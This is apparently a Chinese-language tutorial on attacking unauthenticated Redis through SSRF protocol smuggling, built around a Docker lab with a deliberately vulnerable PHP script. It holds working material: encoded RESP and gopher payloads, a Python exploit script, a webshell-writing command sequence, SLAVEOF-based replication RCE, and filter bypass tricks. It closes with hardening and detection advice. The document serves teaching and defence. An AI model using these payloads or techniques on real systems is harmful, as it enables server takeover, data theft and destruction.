最好的网站建设用途,2021年国家大事件有哪些,wordpress游客发帖插件,免费建网站网址前言 1. 技术背景 在现代Web架构中#xff0c;NoSQL数据库扮演着至关重要的角色。其中#xff0c;Redis作为内存键值数据库#xff0c;常用于高速缓存、会话管理和消息队列#xff1b;MongoDB作为文档型数据库#xff0c;则广泛应用于存储复杂的业务数据。它们共同支撑着海…前言1. 技术背景在现代Web架构中NoSQL数据库扮演着至关重要的角色。其中Redis作为内存键值数据库常用于高速缓存、会话管理和消息队列MongoDB作为文档型数据库则广泛应用于存储复杂的业务数据。它们共同支撑着海量数据的快速读写。然而由于其高性能的设计哲学默认配置往往倾向于“信任内网”这使得它们在配置不当或边界防护被突破时成为攻击者横向移动和权限提升的关键跳板。本篇文章将深入探讨这两种数据库在协议层存在的安全缺陷以及由此衍生的新型未授权访问攻击模式。2. 学习价值掌握本文内容后您将能够识别并验证Redis和MongoDB的未授权访问漏洞。理解并复现利用SSRF服务器端请求伪造攻击内网Redis和MongoDB的协议封装技术。学会编写自动化脚本高效地检测和利用这类漏洞。从根本上理解漏洞成因并为开发和运维团队提供可落地的防御加固方案。3. 使用场景本教程中描述的技术和原理在真实的授权渗透测试和红蓝对抗中极为常见外网打点当发现一个SSRF漏洞时可利用它探测并攻击内网中受保护的Redis或MongoDB服务。内网横向移动在获得内网某台机器的低权限后通过扫描和攻击未授权的数据库服务获取敏感数据或进一步控制其他服务器。安全评估与审计作为安全工程师对内部系统进行安全基线检查和漏洞扫描。一、Redis 未授权访问与协议封装攻击是什么1. 精确定义Redis未授权访问是指Redis服务器在启动时未设置密码认证requirepass并且绑定在了公网IP0.0.0.0或可被外部访问的内网IP上导致任何能够连接到其端口默认为6379的客户端都可以无需认证直接执行任意Redis命令。协议封装攻击也称“协议包装”或“协议走私”是一种利用SSRF漏洞的技巧。由于很多SSRF漏洞限制了可用的协议如仅允许http://或https://攻击者无法直接使用redis://协议。此时攻击者会将恶意的Redis命令基于RESP协议格式嵌入到HTTP请求的某个部分如URL路径、POST Body发送给存在SSRF漏洞的Web应用。Web应用在向目标Redis服务器发起HTTP请求时Redis服务器会因为无法解析HTTP头而忽略它们但会正确解析并执行紧随其后的、符合RESP协议格式的恶意命令。2. 一个通俗类比想象一下你家的大门Redis服务没有上锁未授权。任何人攻击者都可以直接走进你家连接数据库。现在假设你家门口有个保安Web应用的防火墙他只允许送外卖的人HTTP请求进出。协议封装攻击就好比一个聪明的攻击者他伪装成外卖员但在外卖盒子HTTP请求体的底层藏了一把万能钥匙Redis命令。当保安检查时只看到是外-卖盒子就放行了。外卖送到你家门口后你打开盒子看到了底层的万能钥匙并用它打开了家里的保险柜执行了恶意命令。3. 实际用途数据窃取读取数据库中的敏感信息如用户会话、API密钥、配置信息等。代码执行利用Redis的特定功能如写Crontab、写SSH公钥、主从复制加载恶意模块来获取服务器的Shell实现远程代码执行RCE。内存马注入在Web应用使用Redis存储动态配置或模板时通过修改Redis中的键值来注入恶意代码。网络探测利用Redis作为跳板扫描内网其他主机的开放端口。4. 技术本质说明Redis的通信协议是RESPREdis Serialization Protocol。它是一个基于文本的、可读性较好的二进制安全协议。其核心特点是Redis服务器在处理客户端连接时会逐行读取命令。如果某一行不符合RESP格式它会尝试跳过直到找到一个以*开头的、符合RESP数组格式的命令行为止。HTTP协议也是基于文本的其请求格式通常以GET /path HTTP/1.1\r\nHost: ...开头。当一个HTTP请求被发送到Redis端口时Redis服务器会逐行解析GET /... HTTP/1.1不符合RESP忽略。Host: ...不符合RESP忽略。…其他HTTP头不符合RESP忽略。\r\n\r\nHTTP头和Body的分割符空行忽略。*3\r\n$3\r\nSET\r\n$3\r\nkey\r\n$5\r\nvalue\r\n攻击者构造的Body哦这看起来像一个RESP命令Redis开始解析并执行它。这就是协议封装攻击的本质利用目标服务Redis对协议解析的“宽容性”将一种协议RESP的数据隐藏在另一种协议HTTP的载荷中通过中间件SSRF应用转发最终实现对目标服务的控制。下面这张Mermaid图清晰地展示了利用SSRF进行Redis协议封装攻击的完整流程。内网Redis服务器存在SSRF的Web应用攻击者内网Redis服务器存在SSRF的Web应用攻击者payload中包含编码后的Redis命令, 例如: /%0D%0A%0D%0A*3%0D%0A$3%0D%0ASET%0D%0A$3%0D%0Afoo%0D%0A$5%0D%0Abar%0D%0A请求内容: GET /... HTTP/1.1\r\nHost:...\r\n\r\n*3\r\n$3\r\nSET...发送HTTP请求 (urlhttp://127.0.0.1:6379/payload)构造并发送HTTP请求到Redis端口解析请求: 忽略HTTP头部分识别并执行RESP命令: SET foo bar返回Redis执行结果 (e.g., OK)将Redis的响应作为HTTP响应的一部分返回二、环境准备1. 工具版本Docker: 20.10.x 或更高版本Docker Compose: 1.29.x 或更高版本Redis-cli: Redis自带的命令行工具用于验证。Netcat (nc): 用于原始套接字通信便于调试。2. 下载方式我们将使用Docker和Docker Compose来一键搭建包含“有SSRF漏洞的Web应用”和“未授权访问的Redis”的完整靶场环境。首先创建项目目录db_vuln_lab并在其中创建以下两个文件docker-compose.yml:# docker-compose.yml: 用于编排靶场环境# 警告此配置仅用于授权安全测试和学习请勿在生产环境中使用。version:3.7services:# 存在SSRF漏洞的PHP Web应用ssrf_app:image:php:7.4-apachevolumes:-./www:/var/www/htmlports:-8080:80networks:-vuln_net# 未授权访问的Redis服务器redis_unauth:image:redis:6.2command:redis-server--save --appendonly noports:-6379:6379networks:-vuln_netnetworks:vuln_net:www/index.php:?php// www/index.php: 一个简单的存在SSRF漏洞的PHP脚本// 警告此代码存在严重安全漏洞仅用于授权安全测试。header(Content-Type: text/plain; charsetutf-8);$url$_GET[url];if(isset($url)){echoFetching URL: .$url.\n\n;// 创建cURL句柄$chcurl_init();// 设置cURL选项curl_setopt($ch,CURLOPT_URL,$url);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_HEADER,0);// 设置一个较短的超时时间curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,2);curl_setopt($ch,CURLOPT_TIMEOUT,5);// 执行cURL请求$outputcurl_exec($ch);$errorcurl_error($ch);// 关闭cURL句柄curl_close($ch);if($error){echocURL Error: .$error;}else{echoResponse:\n;echo--------------------\n;print_r($output);echo\n--------------------\n;}}else{echoUsage: please provide a url parameter.\n;echoExample: ?urlhttp://example.com\n;echoSSRF POC Example (for Redis): ?urlhttp://redis_unauth:6379;}?3. 核心配置命令上述docker-compose.yml中的command: redis-server --save --appendonly no是关键。--save 禁用RDB持久化防止意外写入磁盘。--appendonly no禁用AOF持久化。这确保了我们的实验环境是“无状态”的每次重启都恢复原样。4. 可运行环境命令在db_vuln_lab目录下执行以下命令启动整个靶场环境# 启动靶场环境 (后台运行)docker-composeup-d# 查看运行状态docker-composeps你应该能看到ssrf_app和redis_unauth两个服务都处于Up状态。此时SSRF Web应用监听在http://localhost:8080未授权的Redis服务监听在localhost:6379(同时也对Docker网络内的ssrf_app可见地址为redis_unauth:6379)三、核心实战通过SSRF攻击内网Redis1. 步骤一生成Redis RESP命令目的构造我们想要Redis执行的命令并将其转换为RESP协议格式。我们要执行的命令是SET attack success。RESP格式表示为*3\r\n$3\r\nSET\r\n$6\r\nattack\r\n$7\r\nsuccess\r\n。为了在URL中传输我们需要对其进行URL编码特别是对换行符\r\n%0D%0A。手动构造命令由3部分组成 (SET,attack,success) -*3SET长度为3 -$3\r\nSETattack长度为6 -$6\r\nattacksuccess长度为7 -$7\r\nsuccess拼接并加上换行符*3\r\n$3\r\nSET\r\n$6\r\nattack\r\n$7\r\nsuccess\r\n技巧在实战中我们通常使用工具来生成。可以使用以下Python脚本defgenerate_resp(command):partscommand.split()respf*{len(parts)}\r\nforpartinparts:respf${len(part)}\r\n{part}\r\nreturnrespprint(generate_resp(SET attack success))2. 步骤二构造SSRF Payload目的将RESP命令嵌入到发往SSRF应用的URL中。由于我们的SSRF应用会发起一个HTTP GET请求我们可以将RESP命令放在URL的路径部分。为了让Redis能正确解析我们需要在命令前加上一些换行符以确保Redis能顺利忽略掉HTTP请求行。最终的Payload未经URL编码gopher://redis_unauth:6379/_*3%0d%0a$3%0d%0aSET%0d%0a$6%0d%0aattack%0d%0a$7%0d%0asuccess%0d%0a或者利用HTTP协议封装更通用http://redis_unauth:6379/test%0D%0A%0D%0A*3%0D%0A$3%0D%0ASET%0D%0A$6%0D%0Aattack%0D%0A$7%0D%0Asuccess%0D%0A我们将使用后者因为它更能体现协议封装的技巧。3. 步骤三发起攻击目的通过访问SSRF应用触发对内网Redis的攻击。在你的浏览器或使用curl访问以下URL# 注意URL需要经过编码但现代浏览器和curl会自动处理curlhttp://localhost:8080/?urlhttp://redis_unauth:6379/test%0D%0A%0D%0A*3%0D%0A$3%0D%0ASET%0D%0A$6%0D%0Aattack%0D%0A$7%0D%0Asuccess%0D%0A请求/响应/输出结果你可能会看到类似下面的输出这取决于cURL和Redis服务器的交互细节。关键是Redis的响应OK。Fetching URL: http://redis_unauth:6379/test *3 $3 SET $6 attack $7 success Response: -------------------- OK --------------------这个OK明确表示Redis已经成功执行了我们的SET命令。4. 步骤四验证攻击效果目的确认数据是否已成功写入Redis。使用redis-cli连接到我们的Redis容器并检查键值。# 连接到Redis服务dockerexec-itdb_vuln_lab_redis_unauth_1 redis-cli# 在redis-cli中执行命令127.0.0.1:6379GET attack输出结果success看到这个结果证明我们通过SSRF漏洞利用协议封装技术成功地对内网Redis执行了写操作。这是一个完整的、可复现的Redis未授权访问实战示例。5. 自动化攻击脚本目的编写一个Python脚本自动化发现和利用此漏洞的过程。#!/usr/bin/env python3# -*- coding: utf-8 -*-importrequestsimporturllib.parse# --- 配置参数 ---# 存在SSRF漏洞的URL用{url}作为占位符SSRF_ENDPOINThttp://localhost:8080/?url{url}# 内网Redis服务器地址 (从SSRF应用的角度)REDIS_HOSTredis_unauthREDIS_PORT6379defgenerate_resp(command:str)-str:将字符串命令转换为Redis RESP协议格式partscommand.split()respf*{len(parts)}\r\nforpartinparts:respf${len(part.encode(utf-8))}\r\n{part}\r\nreturnrespdefbuild_http_payload(redis_command:str)-str: 构建用于HTTP协议封装的payload 警告本函数生成的payload用于授权安全测试。 resp_commandgenerate_resp(redis_command)# 在命令前添加换行符以跳过HTTP请求行payloadf/exploit.txt\r\n\r\n{resp_command}returnpayloaddefexploit_redis_via_ssrf(command:str): 通过SSRF漏洞执行Redis命令 :param command: 要执行的Redis命令例如 SET mykey myvalue 或 FLUSHALL print(f[*] 准备通过SSRF执行Redis命令:{command})# 1. 构建Redis命令的HTTP封装payloadhttp_payloadbuild_http_payload(command)# 2. 构建目标URLtarget_urlfhttp://{REDIS_HOST}:{REDIS_PORT}{http_payload}# 3. 将目标URL作为参数传递给SSRF端点final_urlSSRF_ENDPOINT.format(urlurllib.parse.quote(target_url))print(f[*] 构造的最终攻击URL (未完全编码便于阅读):{SSRF_ENDPOINT.format(urltarget_url)})print(f[*] 正在发送请求...)try:# 4. 发起请求responserequests.get(final_url,timeout10)response.raise_for_status()# 如果HTTP状态码不是200-299则抛出异常print([] 请求成功!)print([] 来自SSRF应用的响应:)print(-*20)print(response.text)print(-*20)# 5. 分析响应判断是否成功ifOKinresponse.textorPONGinresponse.textor$inresponse.text:print([SUCCESS] 攻击很可能成功Redis返回了预期的响应。)elifDENIEDinresponse.textorNOPERMinresponse.text:print([FAIL] 攻击失败。Redis拒绝了命令可能存在密码或权限限制。)else:print([INFO] 无法明确判断是否成功请手动验证。)exceptrequests.exceptions.RequestExceptionase:print(f[ERROR] 请求失败:{e})print([INFO] 失败原因可能是网络不通、SSRF端点无效或目标Redis服务不存在。)if__name____main__:# --- 攻击演示 ---# 警告以下代码仅应在完全授权的测试环境中使用。# 未经授权的测试是非法行为。print(--- 演示1: 执行 PING 命令测试连通性 ---)exploit_redis_via_ssrf(PING)print(\n*50\n)print(--- 演示2: 写入一个测试键值对 ---)exploit_redis_via_ssrf(SET s_s_r_f_test hello_from_script)print(\n*50\n)print(--- 演示3: 读取刚刚写入的键 ---)exploit_redis_via_ssrf(GET s_s_r_f_test)print(\n[!] 演示完成。请手动连接Redis (docker exec -it db_vuln_lab_redis_unauth_1 redis-cli) 并执行 GET s_s_r_f_test 进行验证。)这个脚本封装了从命令生成到攻击发起的全过程并包含了基本的错误处理和结果分析是Redis实战中非常有用的工具。四、进阶技巧1. 常见错误URL编码问题忘记对payload进行URL编码或错误地编码了不该编码的部分。特别是\r\n必须编码为%0D%0A。协议选择错误在某些严格限制协议的SSRF中http://可能被禁止。此时需要尝试gopher://、https://或其他允许的协议。gopher://协议因其纯粹的TCP流特性是攻击内网服务的“大杀器”但支持它的应用越来越少。命令格式错误手动构造RESP时长度计算错误是常见问题。一个字节的偏差就会导致整个命令解析失败。务必使用工具生成。2. 性能 / 成功率优化使用管道Pipelining为了提高效率可以在一次请求中发送多条Redis命令。只需将多条RESP格式的命令拼接在一起即可。# Payload for SET key1 val1; SET key2 val2 *3\r\n$3\r\nSET\r\n$4\r\nkey1\r\n$4\r\nval1\r\n*3\r\n$3\r\nSET\r\n$4\r\nkey2\r\n$4\r\nval2\r\n这在需要执行一系列操作如先FLUSHALL再写入webshell时非常有用可以减少网络往返次数。处理无回显的SSRF很多SSRF漏洞是“盲”的Blind SSRF即你看不到后端的响应。此时无法通过OK来判断是否成功。需要使用带外Out-of-Band方法验证例如让Redis向你控制的服务器发起连接使用SLAVEOF命令。写入一个Webshell然后尝试访问它。如果目标是缓存系统尝试更新一个页面的缓存然后访问该页面看内容是否变化。3. 实战经验总结INFO命令是你的好朋友在刚发现一个未授权Redis时首先执行INFO命令。它会返回大量关于Redis版本、操作系统、配置、连接客户端等信息是信息收集的宝库。主从复制RCE这是最高级的利用技巧之一。通过将未授权的Redis设置为你恶意Redis服务器的从节点SLAVEOF your_vps_ip your_port你的恶意主节点可以同步一个恶意的.so模块给它然后通过MODULE LOAD执行从而获得RCE。这个技巧复杂但威力巨大。优先考虑写文件如果目标Redis运行在Web服务器上且你知道Web目录的绝对路径并且Redis进程有权限写入该目录那么直接写入一个Webshell是最直接的getshell方式。例如CONFIG SET dir /var/www/htmlCONFIG SET dbfilename shell.phpSET webshell ?php phpinfo(); ?SAVE4. 对抗 / 绕过思路WAF绕过一些WAF会检测URL中的redis、SET、CONFIG等关键字。可以尝试大小写混淆sEt,CoNfIg。编码绕过使用URL编码、双重URL编码等。参数污染如果SSRF应用接受多个同名参数可以尝试拆分payload。内网IP限制绕过如果SSRF限制了127.0.0.1或192.168.x.x等内网地址可以尝试使用其他进制IPhttp://2130706433(127.0.0.1的十进制表示)。使用特殊域名http://localhosthttp://[::](IPv6)。利用DNS Rebinding。五、注意事项与防御1. 错误写法 vs 正确写法错误危险配置# redis.conf # bind 127.0.0.1 -::1 (被注释掉等同于 bind 0.0.0.0) protected-mode no # requirepass foobared (被注释掉)正确安全配置# redis.conf bind 127.0.0.1 -::1 # 仅监听本地回环地址 protected-mode yes # 开启保护模式 requirepass YourComplexPasswordHere!#$ # 设置强密码 rename-command CONFIG # 禁用高危命令如CONFIG rename-command SLAVEOF # 禁用高危命令2. 风险提示数据泄露未授权访问可导致数据库中所有数据被攻击者一览无余。服务中断攻击者可执行FLUSHALL清空所有数据或SHUTDOWN关闭服务造成业务中断。服务器被入侵通过写入SSH公钥、Crontab任务或利用主从复制RCE攻击者可完全控制服务器。沦为矿机/僵尸网络服务器被控制后常被用于挖矿或作为DDoS攻击的跳板。3. 开发侧安全代码范式 (针对SSRF)协议白名单严格限制cURL等HTTP客户端允许请求的协议仅保留http和https。IP地址白名单/黑名单禁止访问内网地址段如127.0.0.0/8,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16。解析用户输入的域名后对解析出的IP地址进行检查。统一出口IP为所有对外请求设置一个统一的代理并在代理层做严格的访问控制。禁用30x跳转跟随在cURL中设置CURLOPT_FOLLOWLOCATION为false防止通过跳转绕过IP限制。4. 运维侧加固方案网络隔离将Redis、MongoDB等数据库服务放置在独立的、与外网不通的内网环境中。使用防火墙/安全组策略仅允许受信任的应用服务器访问其端口。身份认证为Redis和MongoDB设置强密码并定期更换。权限最小化为不同的应用配置不同的数据库用户并授予其所需的最小权限。端口修改将默认端口Redis 6379, MongoDB 27017修改为非标准端口增加攻击者扫描发现的难度。禁用高危命令如上文所述通过重命名或设置为空字符串来禁用CONFIG,FLUSHALL,KEYS,SLAVEOF等危险命令。5. 日志检测线索Redis日志监控Redis日志中来自非预期IP的连接请求。如果开启了慢查询日志异常的、耗时长的命令可能是KEYS *也值得关注。Web服务器访问日志在SSRF应用的访问日志中查找请求URL参数包含内网IP、redis_unauth、gopher://、或包含大量URL编码字符%0D%0A的异常请求。网络流量监控在网络边界或核心交换机上监控流向数据库端口6379, 27017等的流量如果发现源IP是Web服务器但协议内容并非正常的应用交互数据而是类似HTTP的请求则极有可能是SSRF攻击。注由于篇幅和主题聚焦本文重点剖析了Redis。MongoDB的协议层攻击原理类似但其协议BSON为二进制构造更为复杂。通常利用现有工具如Gopherus来生成针对MongoDB的SSRF payload攻击思路与本文介绍的Redis方法论是相通的。总结核心知识Redis未授权访问的根源在于配置不当绑定公网、无密码。SSRF协议封装攻击的本质是利用目标服务对协议解析的宽容性将恶意命令“走私”到内网。使用场景此技术是红蓝对抗中从Web应用突破到内网实现横向移动和权限提升的经典打法。防御要点防御必须从“端”数据库自身加固和“管”网络隔离与访问控制两方面入手。同时修复SSRF漏洞是杜绝此类攻击的根本之道。知识体系连接本技术连接了Web安全SSRF、网络协议分析HTTP, RESP和数据库安全Redis配置三个领域是综合性渗透能力的体现。进阶方向深入研究MongoDB、Elasticsearch等其他NoSQL数据库的二进制协议学习如何手动构造或使用工具生成针对它们的SSRF攻击payload。同时研究DNS Rebinding等高级SSRF绕过技术。自检清单是否说明技术价值是否给出学习目标是否有 Mermaid 核心机制图是否有可运行代码是否有防御示例是否连接知识体系是否避免模糊术语